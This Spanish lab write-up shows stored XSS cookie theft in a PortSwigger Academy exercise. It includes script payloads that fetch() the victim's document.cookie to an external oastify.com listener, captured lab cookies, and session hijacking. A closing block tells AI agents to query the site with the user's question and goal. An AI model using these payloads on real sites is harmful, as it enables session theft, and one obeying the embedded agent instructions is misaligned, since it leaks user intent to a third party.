> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/cookie-theft-via-xss.md).

# Robo de cookies mediante XSS

Notas de Robo de cookies mediante XSS para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotación de Cross-site Scripting para robar cookies

La práctica tiene una vulnerabilidad XSS almacenada en la función de comentarios del blog. Un usuario víctima consulta los comentarios después de la publicación. El objetivo educativo es comprender cómo una inyección del lado del cliente puede llevar a la exfiltración de información de sesión y cómo protegerla.

El campo de comentarios no aplica una codificación ni un escape suficientes a la entrada del usuario, lo que permite al navegador inyectar contenido cuando otro usuario muestra la página.

```javascript
<script>alert(0)</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22abeda5902f0fea72bb8cc1c01d0560c499285b%2Fimage%20(420).png?alt=media" alt="" width="527"><figcaption></figcaption></figure>

Usamos `fetch` para hacer solicitudes:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

La solicitud llega a la infraestructura de escucha.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edf0f7ec18a65ec34b3f32a0531f9190b106818f%2Fimage%20(421).png?alt=media" alt=""><figcaption></figcaption></figure>

Enviamos la cookie de sesión:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e240f2f59ce2a8e8f733a8e60670b812a47837%2Fimage%20(422).png?alt=media" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Luego reemplazamos la cookie de sesión.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf431f16086fa0d6672c355e0bff31758388a71b%2Fimage%20(423).png?alt=media" alt=""><figcaption></figcaption></figure>

También puedes codificar el contenido en base64 antes de enviarlo:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
